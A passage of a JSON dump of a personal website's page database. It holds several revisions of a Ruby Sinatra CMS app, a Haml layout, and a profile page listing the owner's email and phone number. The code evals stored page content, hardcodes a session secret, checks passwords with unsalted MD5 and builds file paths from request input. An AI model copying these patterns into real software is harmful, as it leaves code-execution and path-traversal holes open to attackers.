'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache and request.path !~ /reset_cache/\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2017-05-20T00:53:39.000Z","updated_at":"2017-05-20T00:53:39.000Z"},{"id":3030,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_prefix\r\n unless REDIS.get(\"ssig33comprefix\")\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache and request.path !~ /reset_cache/\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n","created_at":"2017-07-11T10:38:54.000Z","updated_at":"2017-07-11T10:38:54.000Z"},{"id":3031,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.1.0.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2017-08-18T02:49:53.000Z","updated_at":"2017-08-18T02:49:53.000Z"},{"id":3032,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Diary](http://diary.app.ssig33.com)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Job :** Software Engineer \r\n**Face :** \r\n![img](https://s.ssig33.com/files/1204386d77054ac48fd692326ce0b0ee)","created_at":"2017-08-18T02:50:33.000Z","updated_at":"2017-08-18T02:50:33.000Z"},{"id":3033,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n xml.to_s\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_prefix\r\n unless REDIS.get(\"ssig33comprefix\")\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n @page = Page.where(name: CGI.unescape(id)).order(\"created_at desc\").first unless @page\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache and request.path !~ /reset_cache/\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n 